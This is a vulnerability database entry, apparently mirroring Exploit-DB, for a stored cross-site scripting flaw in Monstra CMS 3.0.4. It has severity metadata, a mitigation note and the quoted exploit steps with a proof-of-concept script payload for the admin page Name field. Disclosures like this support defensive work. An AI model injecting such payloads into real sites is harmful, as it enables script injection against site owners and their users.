header-logo
Suggest Exploit
vendor:
Monstra
by:
tmrswrr
4.3
CVSS
MEDIUM
Stored Cross-Site Scripting (XSS)
79
CWE
Product Name: Monstra
Affected Version From: 3.0.4
Affected Version To: 3.0.4
Patch Exists: NO
Related CWE:
CPE: a:monstra_cms_project:monstra:3.0.4
Metasploit:
Other Scripts:
Platforms Tested:
2023

Monstra 3.0.4 – Stored Cross-Site Scripting (XSS)

This exploit allows an attacker to inject malicious scripts into the Monstra CMS admin panel. By editing a page and inserting a payload in the Name field, an attacker can execute arbitrary JavaScript code on the affected website.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user input and validate input fields to prevent the execution of malicious scripts.
Source

Exploit-DB raw data:

# Exploit Title: Monstra 3.0.4 - Stored Cross-Site Scripting (XSS)
# Date: 2023-06-13
# Exploit Author: tmrswrr
# Vendor Homepage: https://monstra.org/
# Software Link: https://monstra.org/monstra-3.0.4.zip
# Version: 3.0.4
# Tested : https://www.softaculous.com/softaculous/demos/Monstra


--- Description ---

1) Login admin panel and go to Pages: 
https://demos3.softaculous.com/Monstraggybvrnbr4/admin/index.php?id=pages 
2) Click edit button and  write your payload in the Name field:
Payload: "><script>alert(1)</script>
3) After save change and will you see alert button
https://demos3.softaculous.com/Monstraggybvrnbr4/

Navigation

Suggest Exploit

Services By CQR